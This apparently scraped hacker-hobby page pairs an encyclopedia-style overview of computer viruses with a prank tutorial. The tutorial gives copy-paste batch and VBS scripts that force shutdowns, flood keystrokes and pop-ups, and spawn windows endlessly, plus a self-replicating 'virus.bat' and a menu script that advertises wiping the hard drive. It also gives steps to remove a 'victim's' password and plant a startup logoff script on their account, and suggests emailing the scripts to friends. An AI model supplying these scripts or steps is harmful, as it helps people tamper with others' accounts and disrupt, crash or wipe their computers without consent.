{Master} {Hacker}

WHAT IS COMPUTER VIRUS

A computer virus is a computer program that can copy itself^[1] and infect a computer. The term "virus" is also commonly but erroneously used to refer to other types of malware, including but not limited to adware and spyware programs that do not have the reproductive ability. A true virus can spread from one computer to another (in some form of executable code) when its host is taken to the target computer; for instance because a user sent it over a network or the Internet, or carried it on a removable medium such as a floppy disk, CD, DVD, or USB drive.^[2]

Viruses can increase their chances of spreading to other computers by infecting files on a network file system or a file system that is accessed by another computer.^[3]^[4]

As stated above, the term "computer virus" is sometimes used as a catch-all phrase to include all types of malware, even those that do not have the reproductive ability. Malware includes computer viruses, computer worms, Trojan horses, most rootkits, spyware, dishonest adwareand other malicious and unwanted software, including true viruses. Viruses are sometimes confused with worms and Trojan horses, which are technically different. A worm can exploit security vulnerabilities to spread itself automatically to other computers through networks, while a Trojan horse is a program that appears harmless but hides malicious functions. Worms and Trojan horses, like viruses, may harm a computer system's data or performance. Some viruses and other malware have symptoms noticeable to the computer user, but many are surreptitious or simply do nothing to call attention to themselves. Some viruses do nothing beyond reproducing themselves.

History

Academic work

The first academic work on the theory of computer viruses (although the term "computer virus" was not invented at that time) was done byJohn von Neumann in 1949 who held lectures at the University of Illinois about the "Theory and Organization of Complicated Automata". The work of von Neumann was later published as the "Theory of self-reproducing automata".^[5] In his essay von Neumann postulated that a computer program could reproduce.

In 1972 Veith Risak published his article "Selbstreproduzierende Automaten mit minimaler Informationsübertragung" (Self-reproducing automata with minimal information exchange).^[6] The article describes a fully functional virus written in assembler language for a SIEMENS 4004/35 computer system.

In 1980 Jürgen Kraus wrote his diplom thesis "Selbstreproduktion bei Programmen" (Self-reproduction of programs) at the University ofDortmund.^[7] In his work Kraus postulated that computer programs can behave in a way similar to biological viruses.

In 1984 Fred Cohen from the University of Southern California wrote his paper "Computer Viruses - Theory and Experiments".^[8] It was the first paper to explicitly call a self-reproducing program a "virus"; a term introduced by his mentor Leonard Adleman.

An article that describes "useful virus functionalities" was published by J. B. Gunn under the title "Use of virus functions to provide a virtual APL interpreter under user control" in 1984.^[9]

Science Fiction

The Terminal Man, a science fiction novel by Michael Crichton (1972), told (as a sideline story) of a computer with telephone modem dialing capability, which had been programmed to randomly dial phone numbers until it hit a modem that is answered by another computer. It then attempted to program the answering computer with its own program, so that the second computer would also begin dialing random numbers, in search of yet another computer to program. The program is assumed to spread exponentially through susceptible computers.

The actual term 'virus' was first used in David Gerrold's 1972 novel, When HARLIE Was One. In that novel, a sentient computer named HARLIE writes viral software to retrieve damaging personal information from other computers to blackmail the man who wants to turn him off.

Virus programs

The Creeper virus was first detected on ARPANET, the forerunner of the Internet, in the early 1970s.^[10] Creeper was an experimental self-replicating program written by Bob Thomas at BBN Technologies in 1971.^[11] Creeper used the ARPANET to infect DEC PDP-10 computers running the TENEX operating system.^[12] Creeper gained access via the ARPANET and copied itself to the remote system where the message, "I'm the creeper, catch me if you can!" was displayed. The Reaper program was created to delete Creeper.^[13]

A program called "Elk Cloner" was the first computer virus to appear "in the wild" — that is, outside the single computer or lab where it was created.^[14] Written in 1981 by Richard Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread via floppy disk.^[14]^[15]This virus, created as a practical joke when Skrenta was still in high school, was injected in a game on a floppy disk. On its 50th use the Elk Cloner virus would be activated, infecting the computer and displaying a short poem beginning "Elk Cloner: The program with a personality."

The first PC virus in the wild was a boot sector virus dubbed (c)Brain,^[16] created in 1986 by the Farooq Alvi Brothers in Lahore, Pakistan, reportedly to deter piracy of the software they had written.^[17]

Before computer networks became widespread, most viruses spread on removable media, particularly floppy disks. In the early days of thepersonal computer, many users regularly exchanged information and programs on floppies. Some viruses spread by infecting programs stored on these disks, while others installed themselves into the disk boot sector, ensuring that they would be run when the user booted the computer from the disk, usually inadvertently. PCs of the era would attempt to boot first from a floppy if one had been left in the drive. Until floppy disks fell out of use, this was the most successful infection strategy and boot sector viruses were the most common in the wild for many years.^[1]

Traditional computer viruses emerged in the 1980s, driven by the spread of personal computers and the resultant increase in BBS, modemuse, and software sharing. Bulletin board-driven software sharing contributed directly to the spread of Trojan horse programs, and viruses were written to infect popularly traded software. Shareware and bootleg software were equally common vectors for viruses on BBS's.^{[citation needed]}

Macro viruses have become common since the mid-1990s. Most of these viruses are written in the scripting languages for Microsoft programs such as Word and Excel and spread throughout Microsoft Office by infecting documents and spreadsheets. Since Word and Excel were also available for Mac OS, most could also spread to Macintosh computers. Although most of these viruses did not have the ability to send infected e-mail, those viruses which did take advantage of the Microsoft Outlook COM interface.^{[citation needed]}

Some old versions of Microsoft Word allow macros to replicate themselves with additional blank lines. If two macro viruses simultaneously infect a document, the combination of the two, if also self-replicating, can appear as a "mating" of the two and would likely be detected as a virus unique from the "parents".^[18]

A virus may also send a web address link as an instant message to all the contacts on an infected machine. If the recipient, thinking the link is from a friend (a trusted source) follows the link to the website, the virus hosted at the site may be able to infect this new computer and continue propagating.

Viruses that spread using cross-site scripting were first reported in 2002,^[19] and were academically demonstrated in 2005.^[20] There have been multiple instances of the cross-site scripting viruses in the wild, exploiting websites such as MySpace and Yahoo.

Infection strategies

In order to replicate itself, a virus must be permitted to execute code and write to memory. For this reason, many viruses attach themselves to executable files that may be part of legitimate programs. If a user attempts to launch an infected program, the virus' code may be executed simultaneously. Viruses can be divided into two types based on their behavior when they are executed. Nonresident viruses immediately search for other hosts that can be infected, infect those targets, and finally transfer control to the application program they infected. Resident viruses do not search for hosts when they are started. Instead, a resident virus loads itself into memory on execution and transfers control to the host program. The virus stays active in the background and infects new hosts when those files are accessed by other programs or the operating system itself.

Nonresident viruses

Nonresident viruses can be thought of as consisting of a finder module and a replication module. The finder module is responsible for finding new files to infect. For each new executable file the finder module encounters, it calls the replication module to infect that file.

Resident viruses

Resident viruses contain a replication module that is similar to the one that is employed by nonresident viruses. This module, however, is not called by a finder module. The virus loads the replication module into memory when it is executed instead and ensures that this module is executed each time the operating system is called to perform a certain operation. The replication module can be called, for example, each time the operating system executes a file. In this case the virus infects every suitable program that is executed on the computer.

Resident viruses are sometimes subdivided into a category of fast infectors and a category of slow infectors. Fast infectors are designed to infect as many files as possible. A fast infector, for instance, can infect every potential host file that is accessed. This poses a special problem when using anti-virus software, since a virus scanner will access every potential host file on a computer when it performs a system-wide scan. If the virus scanner fails to notice that such a virus is present in memory the virus can "piggy-back" on the virus scanner and in this way infect all files that are scanned. Fast infectors rely on their fast infection rate to spread. The disadvantage of this method is that infecting many files may make detection more likely, because the virus may slow down a computer or perform many suspicious actions that can be noticed by anti-virus software. Slow infectors, on the other hand, are designed to infect hosts infrequently. Some slow infectors, for instance, only infect files when they are copied. Slow infectors are designed to avoid detection by limiting their actions: they are less likely to slow down a computer noticeably and will, at most, infrequently trigger anti-virus software that detects suspicious behavior by programs. The slow infector approach, however, does not seem very successful.

Vectors and hosts

Viruses have targeted various types of transmission media or hosts. This list is not exhaustive:

Binary executable files (such as COM files and EXE files in MS-DOS, Portable Executable files in Microsoft Windows, the Mach-O format in OSX, and ELF files in Linux)
Volume Boot Records of floppy disks and hard disk partitions
The master boot record (MBR) of a hard disk
General-purpose script files (such as batch files in MS-DOS and Microsoft Windows, VBScript files, and shell script files on Unix-likeplatforms).
Application-specific script files (such as Telix-scripts)
System specific autorun script files (such as Autorun.inf file needed by Windows to automatically run software stored on USB Memory Storage Devices).
Documents that can contain macros (such as Microsoft Word documents, Microsoft Excel spreadsheets, AmiPro documents, andMicrosoft Access database files)
Cross-site scripting vulnerabilities in web applications (see XSS Worm)
Arbitrary computer files. An exploitable buffer overflow, format string, race condition or other exploitable bug in a program which reads the file could be used to trigger the execution of code hidden within it. Most bugs of this type can be made more difficult to exploit in computer architectures with protection features such as an execute disable bit and/or address space layout randomization.

PDFs, like HTML, may link to malicious code. PDFs can also be infected with malicious code.

In operating systems that use file extensions to determine program associations (such as Microsoft Windows), the extensions may be hidden from the user by default. This makes it possible to create a file that is of a different type than it appears to the user. For example, an executable may be created named "picture.png.exe", in which the user sees only "picture.png" and therefore assumes that this file is an image and most likely is safe, yet when opened runs the executable on the client machine.

An additional method is to generate the virus code from parts of existing operating system files by using the CRC16/CRC32 data. The initial code can be quite small (tens of bytes) and unpack a fairly large virus. This is analogous to a biological "prion" in the way it works but is vulnerable to signature based detection. This attack has not yet been seen "in the wild".

Methods to avoid detection

In order to avoid detection by users, some viruses employ different kinds of deception. Some old viruses, especially on the MS-DOS platform, make sure that the "last modified" date of a host file stays the same when the file is infected by the virus. This approach does not fool anti-virus software, however, especially those which maintain and date Cyclic redundancy checks on file changes.

Some viruses can infect files without increasing their sizes or damaging the files. They accomplish this by overwriting unused areas of executable files. These are called cavity viruses. For example, the CIH virus, or Chernobyl Virus, infects Portable Executable files. Because those files have many empty gaps, the virus, which was 1 KB in length, did not add to the size of the file.

Some viruses try to avoid detection by killing the tasks associated with antivirus software before it can detect them.

As computers and operating systems grow larger and more complex, old hiding techniques need to be updated or replaced. Defending a computer against viruses may demand that a file system migrate towards detailed and explicit permission for every kind of file access.

Avoiding bait files and other undesirable hosts

A virus needs to infect hosts in order to spread further. In some cases, it might be a bad idea to infect a host program. For example, many anti-virus programs perform an integrity check of their own code. Infecting such programs will therefore increase the likelihood that the virus is detected. For this reason, some viruses are programmed not to infect programs that are known to be part of anti-virus software. Another type of host that viruses sometimes avoid are bait files. Bait files (or goat files) are files that are specially created by anti-virus software, or by anti-virus professionals themselves, to be infected by a virus. These files can be created for various reasons, all of which are related to the detection of the virus:

Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a program file that is infected by the virus). It is more practical to store and exchange a small, infected bait file, than to exchange a large application program that has been infected by the virus.
Anti-virus professionals can use bait files to study the behavior of a virus and evaluate detection methods. This is especially useful when the virus is polymorphic. In this case, the virus can be made to infect a large number of bait files. The infected files can be used to test whether a virus scanner detects all versions of the virus.
Some anti-virus software employs bait files that are accessed regularly. When these files are modified, the anti-virus software warns the user that a virus is probably active on the system.

Since bait files are used to detect the virus, or to make detection possible, a virus can benefit from not infecting them. Viruses typically do this by avoiding suspicious programs, such as small program files or programs that contain certain patterns of 'garbage instructions'.

A related strategy to make baiting difficult is sparse infection. Sometimes, sparse infectors do not infect a host file that would be a suitable candidate for infection in other circumstances. For example, a virus can decide on a random basis whether to infect a file or not, or a virus can only infect host files on particular days of the week.

Stealth

Some viruses try to trick antivirus software by intercepting its requests to the operating system. A virus can hide itself by intercepting the antivirus software’s request to read the file and passing the request to the virus, instead of the OS. The virus can then return an uninfected version of the file to the antivirus software, so that it seems that the file is "clean". Modern antivirus software employs various techniques to counter stealth mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a medium that is known to be clean.

Self-modification

Most modern antivirus programs try to find virus-patterns inside ordinary programs by scanning them for so-called virus signatures. A signature is a characteristic byte-pattern that is part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it notifies the user that the file is infected. The user can then delete, or (in some cases) "clean" or "heal" the infected file. Some viruses employ techniques that make detection by means of signatures difficult but probably not impossible. These viruses modify their code on each infection. That is, each infected file contains a different variant of the virus.

Encryption with a variable key

A more advanced method is the use of simple encryption to encipher the virus. In this case, the virus consists of a small decrypting module and an encrypted copy of the virus code. If the virus is encrypted with a different key for each infected file, the only part of the virus that remains constant is the decrypting module, which would (for example) be appended to the end. In this case, a virus scanner cannot directly detect the virus using signatures, but it can still detect the decrypting module, which still makes indirect detection of the virus possible. Since these would be symmetric keys, stored on the infected host, it is in fact entirely possible to decrypt the final virus, but this is probably not required, since self-modifying code is such a rarity that it may be reason for virus scanners to at least flag the file as suspicious.

An old, but compact, encryption involves XORing each byte in a virus with a constant, so that the exclusive-or operation had only to be repeated for decryption. It is suspicious for a code to modify itself, so the code to do the encryption/decryption may be part of the signature in many virus definitions.

Polymorphic code

Polymorphic code was the first technique that posed a serious threat to virus scanners. Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy of itself, which is decoded by a decryption module. In the case of polymorphic viruses, however, this decryption module is also modified on each infection. A well-written polymorphic virus therefore has no parts which remain identical between infections, making it very difficult to detect directly using signatures. Antivirus software can detect it by decrypting the viruses using an emulator, or by statistical pattern analysis of the encrypted virus body. To enable polymorphic code, the virus has to have a polymorphic engine (also called mutating engine or mutation engine) somewhere in its encrypted body. See Polymorphic code for technical detail on how such engines operate.^[21]

Some viruses employ polymorphic code in a way that constrains the mutation rate of the virus significantly. For example, a virus can be programmed to mutate only slightly over time, or it can be programmed to refrain from mutating when it infects a file on a computer that already contains copies of the virus. The advantage of using such slow polymorphic code is that it makes it more difficult for antivirus professionals to obtain representative samples of the virus, because bait files that are infected in one run will typically contain identical or similar samples of the virus. This will make it more likely that the detection by the virus scanner will be unreliable, and that some instances of the virus may be able to avoid detection.

Metamorphic code

To avoid being detected by emulation, some viruses rewrite themselves completely each time they are to infect new executables. Viruses that utilize this technique are said to be metamorphic. To enable metamorphism, a metamorphic engine is needed. A metamorphic virus is usually very large and complex. For example, W32/Simile consisted of over 14000 lines of Assembly language code, 90% of which is part of the metamorphic engine.^[22]^[23]

Vulnerability and countermeasures

The vulnerability of operating systems to viruses

Just as genetic diversity in a population decreases the chance of a single disease wiping out a population, the diversity of software systems on a network similarly limits the destructive potential of viruses. This became a particular concern in the 1990s, when Microsoft gained market dominance in desktop operating systems and office suites. The users of Microsoft software (especially networking software such asMicrosoft Outlook and Internet Explorer) are especially vulnerable to the spread of viruses. Microsoft software is targeted by virus writers due to their desktop dominance, and is often criticized for including many errors and holes for virus writers to exploit. Integrated and non-integrated Microsoft applications (such as Microsoft Office) and applications with scripting languages with access to the file system (for example Visual Basic Script (VBS), and applications with networking features) are also particularly vulnerable.

Although Windows is by far the most popular target operating system for virus writers, viruses also exist on other platforms. Any operating system that allows third-party programs to run can theoretically run viruses. Some operating systems are more secure than others. Unix-based operating systems (and NTFS-aware applications on Windows NT based platforms) only allow their users to run executables within their own protected memory space.

An Internet based experiment revealed that there were cases when people willingly pressed a particular button to download a virus. Security analyst Didier Stevens ran a half year advertising campaign on Google AdWords which said "Is your PC virus-free? Get it infected here!". The result was 409 clicks.^[24]^[25]

As of 2006, there are relatively few security exploits targeting Mac OS X (with a Unix-based file system and kernel).^[26] The number of viruses for the older Apple operating systems, known as Mac OS Classic, varies greatly from source to source, with Apple stating that there are only four known viruses, and independent sources stating there are as many as 63 viruses. Many Mac OS Classic viruses targeted the HyperCardauthoring environment. The difference in virus vulnerability between Macs and Windows is a chief selling point, one that Apple uses in theirGet a Mac advertising.^[27] In January 2009, Symantec announced the discovery of a trojan that targets Macs.^[28] This discovery did not gain much coverage until April 2009.^[28]

While Linux, and Unix in general, has always natively blocked normal users from having access to make changes to the operating system environment, Windows users are generally not. This difference has continued partly due to the widespread use of administrator accounts in contemporary versions like XP. In 1997, when a virus for Linux was released – known as "Bliss" – leading antivirus vendors issued warnings that Unix-like systems could fall prey to viruses just like Windows.^[29] The Bliss virus may be considered characteristic of viruses – as opposed to worms – on Unix systems. Bliss requires that the user run it explicitly, and it can only infect programs that the user has the access to modify. Unlike Windows users, most Unix users do not log in as an administrator user except to install or configure software; as a result, even if a user ran the virus, it could not harm their operating system. The Bliss virus never became widespread, and remains chiefly a research curiosity. Its creator later posted the source code to Usenet, allowing researchers to see how it worked.^[30]

The role of software development

Because software is often designed with security features to prevent unauthorized use of system resources, many viruses must exploitsoftware bugs in a system or application to spread. Software development strategies that produce large numbers of bugs will generally also produce potential exploits.

Anti-virus software and other preventive measures

Many users install anti-virus software that can detect and eliminate known viruses after the computer downloads or runs the executable. There are two common methods that an anti-virus software application uses to detect viruses. The first, and by far the most common method of virus detection is using a list of virus signature definitions. This works by examining the content of the computer's memory (its RAM, andboot sectors) and the files stored on fixed or removable drives (hard drives, floppy drives), and comparing those files against a database of known virus "signatures". The disadvantage of this detection method is that users are only protected from viruses that pre-date their last virus definition update. The second method is to use a heuristic algorithm to find viruses based on common behaviors. This method has the ability to detect novel viruses that anti-virus security firms have yet to create a signature for.

Some anti-virus programs are able to scan opened files in addition to sent and received e-mails "on the fly" in a similar manner. This practice is known as "on-access scanning". Anti-virus software does not change the underlying capability of host software to transmit viruses. Users must update their software regularly to patch security holes. Anti-virus software also needs to be regularly updated in order to recognize the latest threats.

One may also minimize the damage done by viruses by making regular backups of data (and the operating systems) on different media, that are either kept unconnected to the system (most of the time), read-only or not accessible for other reasons, such as using different file systems. This way, if data is lost through a virus, one can start again using the backup (which should preferably be recent).

If a backup session on optical media like CD and DVD is closed, it becomes read-only and can no longer be affected by a virus (so long as a virus or infected file was not copied onto the CD/DVD). Likewise, an operating system on a bootable CD can be used to start the computer if the installed operating systems become unusable. Backups on removable media must be carefully inspected before restoration. The Gammima virus, for example, propagates via removable flash drives.^[31]^[32]

Recovery methods

Once a computer has been compromised by a virus, it is usually unsafe to continue using the same computer without completely reinstalling the operating system. However, there are a number of recovery options that exist after a computer has a virus. These actions depend on severity of the type of virus.

Virus removal

One possibility on Windows Me, Windows XP, Windows Vista and Windows 7 is a tool known as System Restore, which restores the registry and critical system files to a previous checkpoint. Often a virus will cause a system to hang, and a subsequent hard reboot will render a system restore point from the same day corrupt. Restore points from previous days should work provided the virus is not designed to corrupt the restore files or also exists in previous restore points.^[33] Some viruses, however, disable System Restore and other important tools such as Task Manager and Command Prompt. An example of a virus that does this is CiaDoor. However, many such viruses can be removed by rebooting the computer, entering Windows safe mode, and then using system tools.

Administrators have the option to disable such tools from limited users for various reasons (for example, to reduce potential damage from and the spread of viruses). A virus can modify the registry to do the same even if the Administrator is controlling the computer; it blocks all users including the administrator from accessing the tools. The message "Task Manager has been disabled by your administrator" may be displayed, even to the administrator.^{[citation needed]}

Users running a Microsoft operating system can access Microsoft's website to run a free scan, provided they have their 20-digit registration number. Many websites run by anti-virus software companies provide free online virus scanning, with limited cleaning facilities (the purpose of the sites is to sell anti-virus products). Some websites allow a single suspicious file to be checked by many antivirus programs in one operation.

Operating system reinstallation

Reinstalling the operating system is another approach to virus removal. It involves either reformatting the computer's hard drive and installing the OS and all programs from original media, or restoring the entire partition with a clean backup image. User data can be restored by booting from a Live CD, or putting the hard drive into another computer and booting from its operating system with great care not to infect the second computer by executing any infected programs on the original drive; and once the system has been restored precautions must be taken to avoid reinfection from a restored executable file.

These methods are simple to do, may be faster than disinfecting a computer, and are guaranteed to remove any malware. If the operating system and programs must be reinstalled from scratch, the time and effort to reinstall, reconfigure, and restore user preferences must be taken into account. Restoring from an image is much faster, totally safe, and restores the exact configuration to the state it was in when the image was made, with no further trouble.

MAKE PRANK VIRUS TO MAKE SOME FREAKY FUN WIYH YOUR FRIENDS

1. Bush Hid the Facts/This App Can Break

This is one of the most popular notepad tricks because of its mysterious nature. In order to get an idea as to what this trick does, just follow the steps given below:

Open Notepad.

Type “BUSH HID THE FACTS” or “this app can break” (without quotes).

Save that file with any name and close it.

Open It Again to see the magic.

Reason For This Behavior: It is known as the 4335 Rule. It means that if we enter four words separated by spaces, wherein the first word has 4 letters, the next two have three letters each, and the last word has five letters. Then Notepad Automatically hides the text into unknown code.

2. World Trade Center Attack Trick

As you might be knowing that the flight number of the plane that had hit World Trade Center on that dreadful day (9/11) was Q33NY. Now call this trick a coincidence or something else but whatever it is, it does startle us.

Open Notepad.

Type “Q33N” (without quotes) in capital letters.

Increase the font size to 72.

Change the Font to Wingdings.

You will be amazed by the findings.

3. Make A Personal Log-Book or A Diary

Did you know that you can also use Notepad as a simple digital diary or a personal Log-Book ? Well, if you didn’t then follow the below mentioned steps to make one for yourself !

Open Notepad.

Type .LOG (in capital letters) and hit enter.

Save it with any name and close it.

Open it again.

When you open the file again you will see the current date and time being inserted automatically after the .LOG line. This will happen automatically every time you reopen the the notepad file.

4. Test Your Anti-Virus

You can also test your anti virus program for its effectiveness using a simple notepad trick. Follow the steps below to know more:

Open Notepad.

Copy the code give below in the notepad file:

X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save it with an .exe extension like testvirus.exe

As soon as you save this file, your anti virus program will detect the file (virus) immediately and will attempt to delete it. If this happens then your Antivirus is working properly. If not, then its time to look for some other reliable program.

NOTE: The EICAR test file (#3) is a 16-bit application and cannot be run on 64-bit versions of Windows.

5. Continually pop the CD Drive

Open Notepad.

Copy the code given below onto the notepad file:

Set oWMP = CreateObject(“WMPlayer.OCX.7?)

Set colCDROMs = oWMP.cdromCollection

do

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count – 1

colCDROMs.Item(i).Eject

Next

End If

wscript.sleep 5000

loop

Save it as “Anything.VBS”.

Now open the file and see the magic! The file will continuously force the CD rom to pop out! And If you have more than one then it pops out all of them!

6. Matrix Effect

Not much to explain, just follow the steps and see the amazing matrix effect happen in your DOS window:

Open Notepad.

Copy the below mentioned text in your notepad file:

@echo off

color 02

:start

echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Save the file with .bat extension like Matrix.bat

Thats it. Just open the file to see the matrix effect right before your eyes!

7. Change The Header/Footer Of Your Notepad File

More often than not whenever you get a printout of your notepad file, it starts with “Untitled” or the filename at top, and “Page ” on bottom. Now if you want to get rid of it or want to change it, just follow the simple steps given below.

Open Notepad.

Click on File -> Page Setup.

Replace the text written in the “Header” and “Footer” box (as shown above) by any of the following codes:

&l Left-align the characters that follow

&c Center the characters that follow

&r Right-align the characters that follow

&d Print the current date

&t Print the current time

&f Print the name of the document

&p Print the page number

8. Constantly Repeat Messages

Using this notepad trick you can annoy anyone and can actually force them to log off or leave the computer (LOL….). This notepad trick will create an infinite cycle of a message in the computer. Follow the steps to know more:

Open Notepad.

Paste the following code in the notepad file:

@ECHO off

:Begin

msg * Hi

msg * Are you having fun?

msg * I am!

msg * Lets have fun together!

msg * Because you have been o-w-n-e-d

GOTO BEGIN

Save the file with any file name but with .bat as extension and close it. For eg. Freakymessage.bat

After saving the file just open it (by double clicking) and see what happens.

Pssstttt……. You can piss of your friends by sending it as an email attachment asking them to try it out !

9. Shut-down The Computer After Conveying Any Message

This one is kind of an annoying trick and if used unknowingly can certainly cause problems (am serious). What this trick does is, after conveying a (any) message it shuts down the computer without any confirmation. In order to create the Shutdown file, follow the below mentioned steps:

Open Notepad.

Paste the following code in it:

@echo off

msg * Its time to get some rest.

shutdown -c “Error! You have to take rest! Byeeeeee” -s

Save the file with any name but with .bat extension and close it. For eg. TakeRest.bat

NOTE : Use this carefully. If you are playing prank then keep in mind that this may lead to loss as it shuts down the computer forcefully.

10. Toggle Keyboard Button Simultaneously

Using Notepad (and VB) you can set different keys on your keyboard to toggle continuously. Following are the 3 tricks using which different keys can be set to toggle simultaneously. Follow the steps given under each head to try out the tricks.

1. Caps Lock Key

Open Notepad.

Paste the following code in the notepad file:

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{CAPSLOCK}”

loop

Save the file with anyname and .vbs extension. and close it.

Now open the newly created file and see how the caps lock key behaves on your keyboard!

2. Hit Enter Key Continuously

Open Notepad.

Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “~(enter)”

loop

Save the file with any name and .vbs extension and close it.

Now open the newly created file and see how the enter key behaves!

3. Hit Backspace Key Continuously

Open Notepad.

Paste the following code in the notepad file:

MsgBox “Lets Rumble”

Set wshShell =wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “{bs}”

loop

Save the file with any name and with .vbs extension and close it.

Now open the newly created file and see how the key behaves!

In order to end the vbs script (stop continuous key presses), open task manager and end the wscript.exe process as shown in image below.

11. Slowly Type Messages

This one is my favorite. Completely harmless trick and perfect for playing pranks on one’s friends. This trick can really freak out anyone! Follow the below mentioned steps to perform this trick:

Open Notepad.

Paste the following code in the notepad file:

WScript.Sleep 180000

WScript.Sleep 10000

Set WshShell = WScript.CreateObject(“WScript.Shell”)

WshShell.Run “notepad”

WScript.Sleep 100

WshShell.AppActivate “Notepad”

WScript.Sleep 500

WshShell.SendKeys “Hel”

WScript.Sleep 500

WshShell.SendKeys “lo ”

WScript.Sleep 500

WshShell.SendKeys “, ho”

WScript.Sleep 500

WshShell.SendKeys “w a”

WScript.Sleep 500

WshShell.SendKeys “re ”

WScript.Sleep 500

WshShell.SendKeys “you”

WScript.Sleep 500

WshShell.SendKeys “? ”

WScript.Sleep 500

WshShell.SendKeys “I a”

WScript.Sleep 500

WshShell.SendKeys “m g”

WScript.Sleep 500

WshShell.SendKeys “ood”

WScript.Sleep 500

WshShell.SendKeys ” th”

WScript.Sleep 500

WshShell.SendKeys “ank”

WScript.Sleep 500

WshShell.SendKeys “s! “

Save the file with any name and with .vbs extension and close it.

Now open the file and see how freakishly slow the messages appear!

NOTE: In order to stop it. Follow the “Note” given in 10th Trick.

12. Type “You are a fool” Continuously

Not much to explain, the title says it all! Follow the steps to make this trick work:

Open Notepad.

Paste the following code in the notepad file:

Set wshShell = wscript.CreateObject(“WScript.Shell”)

do

wscript.sleep 100

wshshell.sendkeys “You are a fool.”

loop

Save the file with any name but with .vbs extension and close it.

Ope the file and see how it makes you type!

NOTE: In order to stop it. Follow the “Note” given in 10th Trick.

13. Open Notepad continuously

Open Notepad.

Paste the following code in your notepad file:

@ECHO off

:top

START %SystemRoot%system32notepad.exe

GOTO top

Save the file with any name nut with .bat extension and close it.

Now open the file and see how it annoys you by opening notepad again and again.

14. Pick Your Option Batch File

When used this creates a file which asks you to choose a number between 1-5 and then does a certain action (as shown below – Action accompanied by number):

1 – Shut’s down the computer

2 – Restart’s the computer

3 – Wipes out the hard drive

4 – Net send

5 – Shows a message & then shut’s down the computer

Before you try out this trick, keep in mind that this can cause loss of important data on your (or any one else’s on which you are running this file) computer system. So BEWARE! In order to create the file, follow the steps given below:

Open Notepad.

Paste the following code in the notepad file:

@echo off

title Get A Life

cd C:

:menu

cls

echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press ‘x’ then your PC will be formatted. Do not cry if you loose your data or anything.

pause

echo Pick your option:

echo 1. Die Slowly

echo 2. Instant Death

echo 3. Stay Away From This One

echo 4. Die this way (For Wimps!)

echo 5. Easy way out

set input=nothing

set /p input=Choice:

if %input%==1 goto one

if %input%==2 goto two

Save the file with any name and with a .bat extension and close the file.

HACK WINDOWS XP ACCOUNT AND MAKE LOG OFF PRANK WITH FOUR BUDDIES.

Make sure you're an admin {or have admin rights), or else if the victim has a password that you don't know, you can't do this. Also, at least on Windows Vista (not sure about XP), you can't change it back if you are not an admin.
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2
If the victim has a password and you are an administrator, go to the start menu and click "Control Panel". On the left, click "Classic View". Then click "User Accounts". Click on "Manage Another Account" and then choose your victim's user account. Click on "remove password". Click on "remove password" and then exit out of the program.
3
Logoff your account and logon to the victim's account.
4
Open their start menu, click "All Programs", and scroll down to "Startup".
5
Right-click on startup and click open.
6
Right-click anywhere in the window that opens except on a file or folder.
7
Under "New", click "Text Document".
8
Name it "logoff.bat", being sure to have the .bat extension rather than .txt.
9
Right-click on your new file and click "edit".
10
On the first line, if you are running Vista, type without quotes, "cd c:\users\
", replacing
with your victim's user account name.
- If you are running Windows XP, the first line should be, without quotes, "cd c:\documents and settings\", again replacing with your victim's user account name.
11
For the second line on either operating system, type, without quotes, "logoff".
12
Save the file. Make sure it is saved with a .bat extension and not .txt.
- Every time your victim tries to logon, it will immediately logoff!
13
To change it back on Windows Vista, on your user account, go to the start menu and click computer. In the address bar, type without quotes, “c:\users\\appdata\roaming\microsoft\windows\start menu\programs\startup”, replacing for the former victim’s user account name, and then press enter. Delete the logoff.bat file you just created. On Windows XP, use the same path, except instead of using “c:\users\...”, use “c:\documents and settings\...”.
14
Alternatively, to change it back, restart Windows and startup in safe mode. On Vista you can do this by unplugging your computer and plugging it back in, then choosing “Start Windows in Safe Mode” from the menu that appears. On XP, when the progress bar appears and says “Starting Windows”, press F8 and then choose safe mode. When in safe mode, logon to your former victim’s account and follow steps 3-5 to get into their startup folder. Delete the logoff.bat file.
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editWarnings

Do not do this if you are not an administrator, especially on Windows Vista, or you will not be able to change it back (bad).
These steps are for Windows XP and Windows Vista. It should also be possible using different procedures to do this on other Windows operating systems, although this has not been tested. It will not work on any OS besides Windows, including Linux and Macintosh OS.
Don't do this if anyone is watching, especially your victim, or else you may get in trouble.

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editThings You'll Need

A computer running Windows XP or Vista used by someone you don't like.
An administrator account on that computer.
Inner evilness.
Knowledge of how to create .bat files using Notepad.

MAKE YOUR FRIEND COMPUTER FREEZE.

Open Notepad or other word processor.
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2
Type on the first line, "start virus.bat," then, on the next #type the following code:
- @echo off
- for %%f in (*.bat) do copy virus.bat+%%f
3
if not exist c:\fr.htm echo {{{1}}}>c:\fr.htm
- start virus.bat
4
Save the file as "virus.bat" and select all files. You can change "virus" to anything you want.
5
Open the file and it will open so many pointless windows, your computer will freeze.
6
Shut down your computer and it will return to normal.
7
Beware of angry friends
8
Or try this one
9
Open Notepad or other word processor.
10
Type this in
BEGIN
11
ECHO Endless loop, Help!!
12
GOTO BEGIN
13
Then save as loop.bat
14
Then when you open it it will keep looping Help!! and probly lag or crash a computer.
15
If you want to stop it hit X.
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editTips

To change the icon of ANY short cut right click on it and select properties. Next click change icon. It might give you a error but ignore it and continue. Then select the one you want and press okay/apply.
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This could be a fun practical joke.
You can change the filename from virus to anything you want, just as long as you change every part of the file where it says virus to your new name.
When changing the name, be sure to keep the .bat part

HOW TO PROTECT YOUR SYSTEM IN CASE WHEN YOU DONT HAVE ANY ANTIVIRUS.

Download and burn an Ubuntu LiveCD at the following link: http://www.ubuntu.com/getubuntu/download

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2
